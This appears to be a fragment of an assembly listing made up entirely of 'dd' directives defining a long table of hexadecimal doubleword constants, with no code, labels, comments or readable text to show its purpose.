dd 21389F08h, 0FF00FB8Eh, 253C790Ch, 3AC67E6Ah, 9E2948A9h
dd 1A5F00ACh, 350F767Bh, 51AEB403h, 14691D0h, 7452F480h
dd 0A1404521h, 187C0491h, 10ADB49Dh, 6D26CE39h, 0AB00E831h
dd 8CC189F1h, 7B830043h, 0BF649D5Eh, 391B4758h, 8C295AFDh
dd 1284E221h, 59C71060h, 6D08C389h, 0CB1C2284h, 20441722h
dd 0FA01EF67h, 9456BA83h, 1FECAA2Fh, 2DA92DADh, 893E4F7Eh
dd 2EC2F2h, 0D7295EF9h, 761D07ACh, 0BED857EAh, 7DD654h
dd 0C28FFF2Dh, 930979E6h, 2E36F600h, 8C7BEE4Ah, 6D87E5Ah
dd 297C1673h, 0F20C3818h, 480F31D1h, 9C2D003Ah, 5CF0AF0Eh
dd 6800082Ah, 0A2B4AC01h, 22C465h, 393136E1h, 4CC3B4Fh
dd 8701F4F8h, 9C3316FBh, 1EF418B9h, 0A60101D8h, 3F084959h
dd 119AF4D9h, 9300C171h, 24CF38BCh, 0FE65BFD6h, 0A3C40209h
dd 0AE121785h, 5C16CC48h, 2291A80Fh, 72FA0DAh, 0F9A045h
dd 1B7E7ACCh, 2B1C8E98h, 79518B00h, 2753E2B3h, 7A3E07BFh
dd 0CE9B3D3Bh, 0A5C4C700h, 6E0011D5h, 17715722h, 8D5EF6h
dd 8AEDAAFCh, 0B66F4CB3h, 0E1284B09h, 32100042h, 7DC36F4h
dd 4EACE546h, 0EB780379h, 0FA64E3F8h, 2C331800h, 307EF8FCh
dd 3419072Ah, 6E3D8659h, 0C238FE80h, 99000A54h, 16BE33BBh
dd 281A60h, 0C76F44ABh, 0B226B943h, 80041B3Dh, 59ADA64Eh
dd 98570Ah, 3EC29914h, 6BE17F7Bh, 926DC800h, 0EC9B6822h
dd 94520C0Fh, 9760C63Ah, 0C0350E4h, 12CF2523h, 7855E8B2h
dd 0C77D0F56h, 0ABA007F1h, 6F11E2FAh, 5A68790Ah, 0CE07E0CBh
dd 0CF434998h, 4E7D54h, 0C9416445h, 66F6AAEEh, 50004DE8h
dd 5CEFF3D1h, 1FFF53h, 9EAE4B87h, 0C96EEBA9h, 4500DFF8h
dd 846A58C3h, 1C60E207h, 0B60872h, 0EBD2CD6Ch, 4B3F9F79h
dd 0D8007975h, 33F65CF4h, 75D997Bh, 8846CD6Bh, 3F2130A0h
dd 4A1E0585h, 0D45E6F12h, 791CAC00h, 4F54415h, 0A2EFD921h
dd 0D6688090h, 7800B5A5h, 0BE09D8FFh, 62E8294h, 0C05ADE8Eh
dd 0BA60C0FAh, 0E52D0E40h, 1E0EC68h, 0D2B4B236h, 0C0D551B5h
dd 0BB729833h, 9CBFCD3Ah, 0D0409062h, 7231B8E4h, 4D8F007h
dd 0AA17865Eh, 0CD20D0A1h, 0C309BBE5h, 753545h, 83F31524h
dd 0A110122Fh, 0AD4F0059h, 6C74D560h, 0A9AEB903h, 0C1775FFFh
dd 0DC40EB38h, 1009C5h, 0DE9BF7F2h, 1B022A8Ah, 61D640Ch
dd 1A8D6h, 99AA7A05h, 880A534Dh, 57CA9D00h, 0BBF73CF5h
dd 0B56C236h, 0FA80E240h, 0D2D81F45h, 0AE4FE61Fh, 0CF8AB24Fh
dd 0D792E065h, 7CC064Dh, 0D2028F37h, 89E5600Bh, 0FF014ADAh
dd 65AFF4E1h, 63E21664h, 7885E890h, 0F8A1032Ch, 9E583428h
dd 0DD24BC8h, 413B3500h, 1D55B788h, 544C00C5h, 26199606h
dd 46045039h, 0CE9DA35Dh, 485628C1h, 0FDD7C0C3h, 0FAB309A6h
dd 0EC0018D6h, 0A9A5BB92h, 0C922FB01h, 0E6ADE893h, 0E551DCCh
dd 3239C04h, 596C6660h, 0AB005C45h, 36FD0F67h, 0C9219Eh
dd 0A5DEB51Fh, 0B6648954h, 89A97B3Ah, 89ADAE07h, 5FDE18h
dd 8349442Bh, 0F301AC63h, 0E9D6A398h, 0C7F864B7h, 0B8431DC8h
dd 0A63341E8h, 0C89EC125h, 0E4774B69h, 0ACE09600h, 36DFD5E7h
dd 0A42381Fh, 0FCA6AF80h, 61FB546Fh, 0A49FE23Bh, 0C5171620h
dd 322F2A00h, 77639Ah, 0AEBF4C8h, 1D19A3B3h, 7A3D571Eh
dd 16B4F00h, 162345Fh, 0C866BCA1h, 20DF0597h, 8D0ED92Eh
dd 40EC29BBh, 9E8ED37Bh, 969700E6h, 0B62E9863h, 0D7005DFFh
dd 54872FE4h, 0FC076A6h, 4A9B03A5h, 6F6CEA0h, 0E0E6124Fh
dd 2C3AD703h, 0E8DF6555h, 3FDBAD8Bh, 16800864h, 9F9B5F99h
dd 33603E6Bh, 51AB5E30h, 1647B05Ch, 0FF4A7C94h, 0F77D6C00h
dd 0B1F569h, 41AB0DBh, 7A02C037h, 3005120Ah, 0EC9F8C7Dh
dd 0A0E83ECCh, 0E73D0125h
dd 8EFC375Eh, 0B470D865h, 0BBB11800h, 0FA30D0C1h, 17C01C8Dh
dd 41020021h, 0F774CA82h, 2A28CE00h, 48FB673Dh, 98BE00E0h
dd 3463C8ADh, 0B00703Fh, 0A42D1E44h, 7116A001h, 71407F7h
dd 23673141h, 0AB90E41Fh, 0C83BE89Eh, 0AC248019h, 0A3CBA8AEh
dd 60DE0480h, 8090EFC7h, 2DD276E8h, 67737501h, 39B01CB6h
dd 70CAC020h, 5BE8006Bh, 38420CFCh, 9CF8659Bh, 0E3EC130Fh
dd 0E759604Eh, 0C4F72Ah, 4A833578h, 742310FCh, 58307F0Ah
dd 0BD00E06Fh, 1809DDEBh, 4BDC00F6h, 68F2DBB0h, 0C007977Eh
dd 2B1DB95Eh, 0EC60B261h, 201E30h, 3E160922h, 644B5CC1h
dd 23DA0200h, 83DF2A1Ah, 3C750BDBh, 0A9F07CD8h, 418F0100h
dd 439019F9h, 2CBF395Fh, 0A3002BD8h, 3AC09249h, 0FC00A7A9h
dd 1FEB6C51h, 0A093395Eh, 5C7BA580h, 6A057CD9h, 0C08B38C5h
dd 39E67010h, 2F017F73h, 0A482B1A0h, 0FC24426Fh, 64E400A8h
dd 0A57384D0h, 0F100DA9Eh, 5C4ED731h, 3A995719h, 0A7802BF6h
dd 1295EA9Ah, 28BAFB77h, 69391C00h, 74E0C0DCh, 0A0D02626h
dd 0C49680ACh, 0F9ECF43Ah, 0F29C8503h, 0E8FDA524h, 5D0EBD56h
dd 0A040CD3h, 87933A70h, 753EC050h, 0FA004247h, 6913F76Fh
dd 58F3709Ah, 0D500A843h, 0B8B5BC56h, 61007E99h, 1FC48624h
dd 4770C6h, 0B6877D4Eh, 0FAE3CA80h, 2C4872FEh, 0D49035Ah
dd 9F02FBA7h, 0E0D3D594h, 0DA85E89Ah, 3ED607B2h, 909D69E2h
dd 7CBC3C4Fh, 3BB3A900h, 0A401D3CBh, 0F9EEB1h, 6F3073C8h
dd 1761D5E0h, 0E34F025h, 2964CF40h, 6E220082h, 0F903Eh
dd 45D66371h, 8C06109Fh, 0C5628CA8h, 19F33B00h, 0A4CFF7EDh
dd 0B173B3h, 468E9D92h, 4179622Dh, 30CBB530h, 1FE62249h
dd 5D08Ah, 533113F9h, 9D0F21A9h, 204CFB82h, 34D292DFh
dd 713800BAh, 23AE79DDh, 0EB00ADC8h, 5F74A1BDh, 0AF92CFh
dd 1B41A222h, 30D48A47h, 0DCB73300h, 44C6A4F2h, 13E655h
dd 0CD968C3Ah, 0C962CB26h, 3B6C852Ch, 415E300h, 0E7A256Fh
dd 30932BB0h, 73B30Fh, 0B70229E0h, 360382D3h, 0F526ABBDh
dd 1571995Fh, 3AA2D0h, 3F447247h, 8C1D1325h, 80706F38h
dd 0B5316A9Ch, 0BB23E2Ah, 6509FF24h, 1C552780h, 2D00C241h
dd 44C1F5D1h, 70F8EC43h, 0DC890C0Dh, 72480BAEh, 19304000h
dd 845D28A8h, 68290252h, 45CEFEE5h, 3E9170A0h, 1D0F7915h
dd 0E02949A6h, 0B0811A1h, 6788Fh, 1C6E4C27h, 0FF1FCFA8h
dd 0CA41B10Fh, 11A0C1A9h, 7A816787h, 0C82418C3h, 4038FBA7h
dd 20228089h, 39EBA3A9h, 0DB073F1Dh, 0CE58BE1Fh, 0B260D97Ch
dd 0D76A24C0h, 0FCC9AE00h, 7956D014h, 93B901CAh, 7F1C6506h
dd 80ADD56Ah, 0C9D47E4Eh, 15E8C4Ah, 5524666Bh, 0F030C82Fh
dd 92005BD9h, 0C4B11B23h, 0F5D173Eh, 0E94AE160h, 2EAFD580h
dd 2043610h, 52453DE2h, 3024D080h, 0FBEA00FCh, 2F9AD8EDh
dd 951C78BAh, 0C2807735h, 0EFF2745Ah, 843704D4h, 8326ECD2h
dd 0F690166Dh, 990769B9h, 4AE2E098h, 9C575900h, 0ABFCD7h
dd 6C825C8Eh, 494C084h, 0A870EA00h, 1FC3279Dh, 3474ACh
dd 0A4C13786h, 0A12B05FEh, 84C5F500h, 13817AFh, 0ECE6B7h
dd 5819278Dh, 0C63C4BB3h, 0C5FC8800h, 0AFD8FBDDh, 7CD4016Ch
dd 0E49A4E46h, 648EE8CCh, 99016EF2h, 1CD7EE91h, 63E44FB8h
dd 0F40C0051h, 7A29D368h, 0DC01EC1Eh, 7B214445h, 3CE924DDh
dd 9AFB60h, 0E8831626h, 2881924Dh, 0C000AEF4h, 0F9D098D6h
dd 3030623Dh, 0E618D55Ch, 66007964h, 9CD88AADh, 0FCB7B168h
dd 224603F1h, 0F38D3607h, 0D5585B0h, 0B860370Fh, 0B0D520B2h
dd 2C745B1h, 4626D68Eh, 0C560DA71h, 0BA00827Ah, 531F1BCAh
dd 0F99D3Fh, 0A6B005EBh, 5ABC946Dh, 0BB1D3Ch, 0C879B684h
dd 0EFC708Dh, 0CFF6385Eh, 0C6F88C20h, 0DF00925Ah, 7DB9A751h
dd 7F664Eh, 2CEC1D76h, 7871AAC0h, 6532D600h, 5F5A6F17h
dd 0E5DA032Fh, 0AC11B646h, 88B133D8h, 26BB000h, 0A6C9C784h
dd 1EEB0067h, 0B4CA811Ah, 7C4A6D83h, 2D0B27C0h, 15921E9Dh
dd 855500FBh, 8C53643h, 97EF6003h, 0F71496FDh, 0B9C73FF0h
dd 0E6E00092h, 183CE944h, 8C1C4B9Eh, 9580481Dh, 8F2AD09Dh
dd 207F0370h, 0EA4985A4h, 4C183803h, 0D8E08433h, 0BDE3FBh
dd 7A2307F0h, 919A0450h, 9F000AECh, 1F47EA31h, 3A956294h
dd 0D3017717h, 27FEBDBAh, 0A1B3E060h, 548B3300h, 0E52D05CCh
dd 88B60089h, 0E1D05891h, 7F00BB32h, 974F9C49h, 0D60CF2h
dd 55B97A4Eh, 88A6C8C5h, 4CE3100h, 0E466BB3Dh, 0D87700EDh
dd 3BCA761Dh, 0D00C4FFh, 0F654D682h, 3C0A974Eh, 8900C859h
dd 3A129432h, 0B40026BAh, 0F4C1F6D0h, 72A2AA6Dh, 840D041Fh
dd 90FBD16Eh, 0B03A1DF8h, 0BB06077Bh, 0C491F5B6h, 16240A18h
dd 0AAFE57h, 80645205h, 9A009FD5h, 34D35DFCh, 98B8541h
dd 0D126D0C9h, 0C8AEBA80h, 0B400EDF1h, 97510870h, 4F5C9E1h
dd 0E85E451Fh, 791080E2h, 0E709D38Bh, 7B4F675h, 0E3AE07F4h
dd 0B3C572h, 3D82BA10h, 103C20D7h, 31094107h, 0FF9D301h
dd 338304Ch, 0E602540Fh, 0FED4BAE0h, 0CB18EE30h, 0E8189189h
dd 0CE880003h, 0EF29A7C0h, 96004C5Ch, 8F1E5E11h, 0FCB134Eh
dd 0B9EB957Ah, 1FB30740h, 9D07D9BDh, 0FB19AA51h, 24F8A80Ch
dd 125702h, 7C9B058Fh, 2F00ED35h, 2CEF2E72h, 6AE6142h
dd 85B2B4B0h, 0FA02C0ACh, 79FBFCC2h, 49FC8086h, 366ACDh
dd 7E3339B4h, 75A8BCF5h, 9E44ED1Ch, 5B005F92h, 6B771093h
dd 0FD5B3EA0h, 0B6CF0078h, 0DA82CB73h, 4B1C92D6h, 0A7CE2694h
dd 9009A04Ch, 90D55155h, 0F0F40270h, 0F3C21DD6h, 0EC229241h
dd 0EA00A307h, 0E374C8EDh, 0C0B110h, 7F8540F1h, 82C1D5CDh
dd 0F0DB7326h, 0FFE0C500h, 74793Ah, 6A06F6B7h, 6E5F8C4Eh
dd 0C1C86D00h, 382E8AD6h, 0F821002Fh, 407E8314h, 0EA78A451h
dd 0A937270Fh, 5D6A6096h, 98896CBEh, 0AE410024h, 7A544C04h
dd 5B00E1F8h, 0A04709CBh, 0F0EB4Fh, 751CD178h, 51AD3B30h
dd 3600F4EEh, 0B44147D3h, 0E7E666h, 5276C608h, 0D1ADFC5Eh
dd 0CD00F976h, 1B1DDA70h, 0CF6220h, 0BE2D8A3h, 0D1AC3A80h
dd 7DF12B01h, 1F9B9515h, 0C0D3FCh, 4E4AE6A0h, 73EB6A4h
dd 1C8D8007h, 4290F316h, 902B51D0h, 45670020h, 0FBB9F963h
dd 5CB03383h, 5E07D303h, 313462h, 97727910h, 521926ADh
dd 65744F00h, 563EA77Ah, 6F181E3Dh, 92006430h, 83C43180h
dd 0DAC020B5h, 9080C241h, 687FBA55h, 0C407BC7Dh, 393BB5CFh
dd 9A80D495h, 9615760h, 8AE401FAh, 9359BC80h, 0F3008464h
dd 90C87503h, 3D8F5D4h, 381D99D2h, 52009245h, 48C9EAC2h
dd 2EFBFDB2h, 9324A6h, 0F034BFF3h, 0C4007436h, 0B2DE938Bh
dd 0F62353C5h, 765F0ED4h, 3A206338h, 0AA2D73BFh, 0E0A0500h
dd 9F557A40h, 26780047h, 0E5AC5698h, 0E9C6750Ch, 30C721h
dd 0EDCC4CA0h, 4246BE2Eh, 9F664100h, 74C407EAh, 17D40058h
dd 0CEB53DC0h, 773EF72Ah, 8A48805Bh, 0ECC25C7h, 0D1520473h
dd 0C0E20589h, 192E5A70h, 0F1EDE05h, 0D883EFB0h, 0B530D792h
dd 5BCFEh, 0A1D9919Fh, 0C3B4CCD5h, 4C743700h, 4DF5249Dh
dd 31360039h, 79030C61h, 9B0955EAh, 2CCB318h, 0E01B3CBCh
dd 4C4C3E84h, 0F2036C07h, 0CFBE3D7Fh, 84D2C09Ch, 9C00E1DAh
dd 0DE2E2855h, 77B4Eh, 72437432h, 0BF2D4C91h, 0AA0E7E60h
dd 79EDE3h, 17A25571h
dd 0E2BEAFD7h, 25511300h, 0D5EB26A0h, 7B0403DFh, 4F761EC0h
dd 3CC027DBh, 2600520Dh, 0A285726Ah, 5C35867Bh, 64004597h
dd 1098CE25h, 0B31F7ABAh, 5A802EC8h, 803C881Ch, 0B978267Eh
dd 753C90h, 0B8CC6F5Fh, 0A06793D7h, 0C246BA00h, 7F1AE6FEh
dd 30853F01h, 0FEB9D85h, 9B08007Ch, 6EE5D9DDh, 1C929858h
dd 1502F4EEh, 0C0EAAF28h, 1CDFFD8h, 54FE3FA4h, 0BE8A6FFDh
dd 5C090070h, 959F3584h, 970A3ACCh, 6606CD3Ah, 99AC3E31h
dd 0CA5E331Bh, 7C77C030h, 78D01D8Ch, 6CDB0C9Ch, 0FB0537BEh
dd 0B7866932h, 4B5E2681h, 0B509208Fh, 65F33E5h, 18A47920h
dd 0AC06F574h, 8FF1D9D3h, 0FC150068h, 8AC57EA8h, 0A418FA85h
dd 0BD4008D7h, 0D29501B8h, 75F54738h, 6BBAE440h, 18466900h
dd 0F7886D43h, 1E25Ah, 21781DF0h, 89B299AEh, 506BB513h
dd 0DD8B0800h, 102E860h, 0A272FFF7h, 0E4AD3C95h, 9000F4B7h
dd 2C6D92B6h, 0F35BC416h, 79D7B180h, 61B97477h, 0B1048D19h
dd 0A0C00E19h, 4E710007h, 2FB683D5h, 151870C1h, 787E7BDEh
dd 0A60603E1h, 1B74E35Fh, 0FEDA8080h, 0CE4B330Eh, 8D326030h
dd 2641DBA2h, 1345306h, 9405D960h, 32626059h, 56845D00h
dd 2FEE3D8h, 0D2C8A8AFh, 0FD521F06h, 3112407Ah, 33FF830Dh
dd 59085D00h, 7E30D284h, 94CD0C8Fh, 0B6B07D75h, 59EE7B75h
dd 9211B560h, 1273A048h, 407CAB9Bh, 904C6308h, 8001A91h
dd 515FEC7Bh, 185BD6Bh, 0BAC662E0h, 0C8C3DDB1h, 0F50E1C27h
dd 8014D312h, 26BE3863h, 3607A94h, 3C2FD9FFh, 1129F961h
dd 615F04FAh, 80180465h, 8D409810h, 391E14h, 127B6E3Bh
dd 381C19A7h, 8A659100h, 0EBFA83C3h, 2990E966h, 446188C7h
dd 0C42E23AEh, 446FF344h, 524878E6h, 2294CF42h, 76226B5Fh
dd 0C0B6224Ah, 0E0780403h, 1843EF6h, 72DF5507h, 0E03FF7AEh
dd 0F038430Dh, 67E083A9h, 808B5D91h, 300B38h, 97704EFBh
dd 1D5A2CF1h, 0C74FE801h, 189A0EF8h, 7EAD95D8h, 0BDD5026Bh
dd 6589C949h, 56E74D60h, 0A1110800h, 1EF66B94h, 37FD00B4h
dd 0AD2C24F2h, 1900EF93h, 53D90EB2h, 0FBA6488h, 0C25234ECh
dd 0C2B8F40h, 0B706955Bh, 168905F5h, 0A76E0311h, 7431688Eh
dd 86E0B0E0h, 7A3C8A04h, 5C9053EAh, 0F27F9682h, 1EE4EABDh
dd 809BAD19h, 433145BBh, 4B00BA09h, 3F8026D9h, 0C1F3AEh
dd 0DEF1FD36h, 0A5831D4h, 8C6CA600h, 0E50DE12Dh, 64D01E7h
dd 8D168C9h, 0BC7BF48Ah, 3F255900h, 0CEB1A075h, 0CBE2E4h
dd 1577707Ah, 0B54CBD69h, 0A138E900h, 0CE24D91h, 0F3720055h
dd 42E564F2h, 0DA1DBBA9h, 43C11ED1h, 9B7CB065h, 466036FDh
dd 1BD7034Dh, 79516D02h, 0F4B2AAC1h, 8FFEEE07h, 521D8000h
dd 0E40D175Ch, 7B650055h, 9BF1299Dh, 0A3FE19B8h, 0CED8C500h
dd 6F36712Dh, 0A22C005Bh, 99B6E755h, 4407C3F9h, 56069773h
dd 0D5A17287h, 43D4259Ch, 389D007Ch, 8A5351FDh, 61030268h
dd 97368E4Ah, 5FD00003h, 952C6A82h, 4003C894h, 0E31E4A27h
dd 46C2C07Bh, 2378008Eh, 0A495023Ah, 8C006210h, 0E6D34DA8h
dd 67C76Dh, 0BC5C91B5h, 0FCE282EBh, 2F63AC0Fh, 6EFE6126h
dd 0C60865Fh, 0D9182C62h, 7F4B00FDh, 44417449h, 43822C01h
dd 0CDD4EA38h, 36C5D0h, 312DC93Dh, 854EFDCEh, 46E438h
dd 2187C46Eh, 5F4476h, 0C726534Fh, 66C03858h, 390EA2F4h
dd 40037AA1h, 0B64B4DAEh, 873001Fh, 6EC65335h, 0AC008388h
dd 7036E94Fh, 3ADB07h, 61331FF1h, 0C49A727Dh, 0D8A1D528h
dd 63141500h, 79B47B9Fh, 5661FB35h, 0F64288DCh, 0FAEB78D2h
dd 231500D4h, 6758F244h, 0D773F025h, 0A2A4E0Ah, 0E807DCD3h
dd 65106442h, 3897441h, 0EA8BE26Bh, 0FA980E1Fh, 38C05CF7h
dd 0C28D9AD6h, 66EC0024h, 0FDA5A742h, 0AB004E4Bh, 9BEEC3E1h
dd 770BB48h, 0CB06E99Eh, 94B2602Eh, 2F1D1583h, 52815B21h
dd 285C8DF2h, 0C01020h, 673CF759h, 6538D9F4h, 540B1490h
dd 0F9CF4Bh, 813DEB8Dh, 2D18C064h, 17F2E870h, 51506800h
dd 5866D452h, 0EEACA0BAh, 0EEF7E12h, 0FB166D8Ch, 24008DCFh
dd 0F1D12C7Fh, 14909500h, 0C46BD789h, 347E1D65h, 859F003Fh
dd 1D390151h, 965A541Fh, 740C3A40h, 0B781C2h, 0A61AA73Ch
dd 52273307h, 0BF632001h, 399B343Eh, 7D869F4h, 0D27C62F9h
dd 445F83F0h, 0E8A0A682h, 0AB81274Ch, 8CC2201Fh, 36EFF340h
dd 86C967h, 1A3B97EBh, 9CE0B46Ah, 0ED172F00h, 53A3207Bh
dd 0BD21045Fh, 80261338h, 0EA4BD6A8h, 0D39ECD00h, 99C6E59Dh
dd 0C37FC7h, 0ADBE1C47h, 63D65C81h, 4CC5F900h, 4A25E067h
dd 537E1498h, 8600F213h, 0C106C0E1h, 0D7095515h, 8F7B6107h
dd 6A3DE08Bh, 0EC3C1441h, 978301F2h, 50780C15h, 0D8A7F846h
dd 0EB48260Fh, 57026081h, 0E4B9DE3Ch, 8DF4EBBBh, 349200EDh
dd 4EA3A541h, 39E89815h, 2185FF00h, 6F1B5A7Ch, 7238005Dh
dd 0E1CB6925h, 62000748h, 0A3318E77h, 0E6A78712h, 825E03D7h
dd 7093CA04h, 782741B8h, 14E12800h, 296FFC55h, 15C90053h
dd 76B24EC1h, 1900F9AFh, 0DD95243Dh, 38758086h, 78806C71h
dd 37EE58ECh, 8901FAD4h, 0AF454F28h, 99C1B5D2h, 0FA26CBD8h
dd 3C8F7D15h, 49036B5Ch, 81C96E5Dh, 927D3001h, 4D707FFh
dd 1F45F8h, 375F08DAh, 8B36E4C5h, 315D2A00h, 0A4264346h
dd 86DF001Ah, 0BF873A47h, 270152ADh, 5F9FDA7Fh, 40F875FBh
dd 5890ABh, 665E68D6h, 333E7434h, 54D3D402h, 40614DC7h
dd 7BD63A85h, 2DF4FD5Dh, 7946004Ch, 7CE771AEh, 41030959h
dd 0DEA27F75h, 6C339894h, 588048DAh, 2E52DF00h, 2326AEE8h
dd 4C593400h, 0C4FA62D1h, 3EF50057h, 1A74DB36h, 4B0018AFh
dd 0E267B597h, 0B1BE92h, 0DD413D6Fh, 477E4ABAh, 4BB391Ch
dd 24A38EFEh, 9900DE13h, 0D0CF8976h, 41CC0FEFh, 9D807F64h
dd 0CB329508h, 0F2499100h, 0E6FAB43Fh, 41B7077Dh, 60DD2AC4h
dd 4F406F8Eh, 7AE52500h, 0DE5B130Eh, 4E060034h, 32F4F64Ah
dd 0AE04FD11h, 8FC15447h, 0E84F2480h, 0A04003Ch, 0FD754C1Ch
dd 6B017913h, 7CD48665h, 0A2DC397Dh, 0F41C0FE9h, 0BC010D3h
dd 76A623D1h, 75FFC300h, 5BD74C45h, 0A7470266h, 285E9560h
dd 0EFC61C40h, 43E46800h, 664FB8BBh, 6718C025h, 0CA026B0Eh
dd 0CE0EB8B0h, 403F5B43h, 6F7D44DAh, 0EFDF0D09h, 80A68720h
dd 86FDA1A8h, 2843AE0h, 516FFAD3h, 64C00B0Ah, 0D776C747h
dd 14FD4101h, 186E8650h, 7FD66880h, 0EB73E2B6h, 0B0321C02h
dd 0C0C3ECF4h, 1F27E134h, 40F97436h, 9A2B618Ch, 5E00A34Bh
dd 1640F145h, 0C0AAA527h, 111F8B11h, 0E77A9CC9h, 3E5DB00h
dd 73BBEFF8h, 4835705Ah, 9500D569h, 8CB88546h, 0C4FFE6F6h
dd 343EBD30h, 1EAE807Fh, 0A6CFE318h, 0A1B60021h, 0E7828DFCh
dd 20009D4Ah, 0BC31B381h, 3B46B0FEh, 0C100729Fh, 2F3364E4h
dd 0A11BC58Bh, 0C896DF11h, 0F0F3E80Fh, 7790A092h, 5798000Dh
dd 4A2B8332h, 7D097A50h, 0A789BFA0h, 49D01F14h, 9F1CECh
dd 0D66FB3CFh, 0CC82FCA3h, 1660B900h, 790220C0h, 847D09ECh
dd 88738C7h, 4F96222Dh, 8ACABC60h, 63F4AA00h, 0A9297E7h
dd 0C7A60044h, 0E9B8950Dh, 43E65C5h, 0ECCD81ABh, 22CF9AE4h
dd 43E430h, 21338551h, 741F3FF4h, 0B91BAF00h, 0F9A82516h
dd 4104C36h, 0BC9BC100h, 22CD0F14h, 7ED6A00h, 0C9766075h
dd 8FA00EFh, 6B16389Bh
dd 0B014377Fh, 809591h, 0D70A88F7h, 3AA037Bh, 0FFFDD1F5h
dd 0A0C35520h, 89F23A8h, 9A6CC91Dh, 0EF2A4C80h, 8B0A58h
dd 0E0384B02h, 80534198h, 0FD6EF902h, 3334705h, 539C3EADh
dd 38B53C20h, 0BDBE2483h, 0E492008Ch, 1B9F7832h, 8644A607h
dd 0B0309661h, 3FB4AACFh, 0CD030AA0h, 0EDA6AD68h, 0C528A0A4h
dd 0AE000E7Eh, 0EFD82AC3h, 9576E3h, 0C93C63CBh, 0D7583E1Fh
dd 15E6FD00h, 0FCFFBFEDh, 26F300F7h, 44BB6CEFh, 6780ED4h
dd 0BC59A5Ch, 89AD58A3h, 46F700E7h, 1649009h, 0C5B6323Fh
dd 8EBC6528h, 0D0F1B0h, 0A2A67731h, 198CFA1Bh, 7841DCBBh
dd 5D9A8F58h, 52648171h, 0C07B9716h, 0B15A0C91h, 2711C460h
dd 0E2A9F7B6h, 79C100D7h, 94A2D871h, 0BDEEDF9Dh, 933B1200h
dd 615FB6FFh, 0AFF0248Bh, 97F700E4h, 2C5D3F7Fh, 446ADA0Bh
dd 0A7BC8033h, 0B8FC3BBCh, 0BF4F0091h, 0CF7D3D80h, 0EB6F953Ah
dd 0C56BA0B8h, 0F3B206h, 5DEDB44Bh, 5463B898h, 0C253A400h
dd 7680ACB0h, 0E7123344h, 9D983564h, 9E4CA0DAh, 741C4CA2h
dd 8C00A098h, 8A516C88h, 7F4C25h, 58F355FDh, 799BB80Eh
dd 0F2BDB900h, 0A7DEB4C3h, 3E709DECh, 0EF73BA00h, 0FF99A370h
dd 39ED0E1Ch, 0E5009F45h, 0B5F4B9D6h, 0A1472E00h, 0F288FDC1h
dd 930D00BAh, 57C2DB17h, 787C419Eh, 485D8100h, 6F5B582Eh
dd 83D600E0h, 69928FCDh, 61007AF0h, 59FAC256h, 0EA0C11h
dd 0CEC098F3h, 8D368C7Eh, 0B8E05E00h, 506227CBh, 5AEB07CAh
dd 0F0D5CD69h, 9729BCB6h, 300088EEh, 65233AEFh, 2D7F25h
dd 0B14C5F73h, 8007D1CEh, 46008E7Ah, 0FA70F59Ch, 4C71FB2Eh
dd 0CE005CA3h, 0B8F7FDF1h, 0A62E632Dh, 0F300DD10h, 0AE5BC549h
dd 0A2A32C77h, 0CAFD00F3h, 0DE1B7F2Bh, 1FC47D1Ch, 39D80381h
dd 24DCC7E8h, 0EFA90072h, 3E6CA727h, 3D00CC6Ah, 0C2127509h
dd 1FADD72Eh, 40FF4C1Bh, 0BDEB06DFh, 4213ED39h, 9A009C74h
dd 6035E497h, 34F23Ch, 0B9011FDh, 8DC985BCh, 80E7A13Dh
dd 69CD252Fh, 5643277h, 1A892907h, 0F6163Eh, 0CC7D6DECh
dd 0DC09877Fh, 604F0AEBh, 485E1Ch, 1C8F8231h, 0E14BDED8h
dd 6E3FB501h, 0E4B46DECh, 6074C2Ch, 0C009176Ah, 80D2AE93h
dd 0F61B4C37h, 64C0D1C4h, 77AB7013h, 151A039Dh, 0FFAA4006h
dd 7AFC6AC0h, 0FC0D7624h, 8B0ED080h, 0C9CB3607h, 80003526h
dd 0FA5D339Bh, 7244A3Bh, 9ACD310h, 5C2F5F00h, 0F442E95h
dd 91033865h, 0FD7353A6h, 0E73F9790h, 3241921Eh, 13780340h
dd 487548F9h, 9C50C61Ah, 49CA000Dh, 0BC184067h, 0D8B0FDE8h
dd 3C106D00h, 9FF5C97Dh, 0A06F0114h, 168EDC7Ch, 9911E8D4h
dd 3B108D0Eh, 0A9756074h, 36D070h, 76B1B535h, 0A20F1E38h
dd 0D33B0600h, 5E4D688h, 253700ACh, 0CD9DC703h, 34002085h
dd 9024F04Dh, 4F1DE2h, 53F85DB8h, 9FC7E40Bh, 36005C98h
dd 7362AD61h, 0FE81CD6Dh, 638C1E50h, 90EB0740h, 5C479005h
dd 0DB025188h, 0BFBD52CFh, 86084175h, 0E83AF9DBh, 0FA613DECh
dd 0AB400013h, 48AD18CBh, 3B17CD41h, 43005064h, 20860EFEh
dd 0AC9717BAh, 0D214415Ah, 2021BF9Ah, 49003EEEh, 62D054Eh
dd 611BDDAFh, 1847762Fh, 1F70C812h, 0F127E190h, 61508097h
dd 52F28CCh, 73372354h, 0E20C90CDh, 0D0022D4h, 0B899BCEAh
dd 0FB73170h, 0C49CECEBh, 844A00F2h, 3C03CF80h, 2E9D4500h
dd 3E78AB2Dh, 0DDB60652h, 5E6CADBDh, 2902BE00h, 6481A508h
dd 5E5D030Eh, 51C72FFh, 0B2DD0CFh, 7D0223A9h, 0D40A0665h
dd 123B600Ch, 79D63D48h, 0F7D0EE03h, 78C02DA1h, 5A001F09h
dd 0C5838602h, 11D11F4h, 56B042ECh, 9F207DEDh, 4DD3A428h
dd 680F8200h, 0AA60Eh, 3D376158h, 3A1077F8h, 7100397Bh
dd 56D97232h, 220C3Eh, 0B90B8B27h, 709A8359h, 0C7776D00h
dd 0FD56341Eh, 0B187017Eh, 9180B943h, 0F3CDDDFEh, 0F8118087h
dd 360159C4h, 3B69C0BAh, 87706AE4h, 305B0090h, 7F4AAAB5h
dd 0E7009907h, 66E97994h, 0E46C0D9h, 272B3A82h, 60F8C240h
dd 7FE05F77h, 6D1298A8h, 0EAD8AD00h, 0BCFA0C27h, 25B11E9Ch
dd 0C0013FF3h, 0EA883C2h, 70F4F096h, 9700E57Dh, 0DE84061Bh
dd 98FA1Eh, 0B90F0412h, 4B20CB7Dh, 0F474DC00h, 910EB16Bh
dd 0A2230007h, 0E6EEF313h, 6F005729h, 0CA1B623Dh, 33CC91Fh
dd 454B403Fh, 0C5A0FC8Fh, 0EE00D434h, 24862D5h, 0F5E98Eh
dd 98514047h, 0D69D35EAh, 4BBF7E00h, 0B2382C1Eh, 0D5B11E2Bh
dd 0E4038097h, 1558918Eh, 4BFE9A03h, 986336CBh, 7C739590h
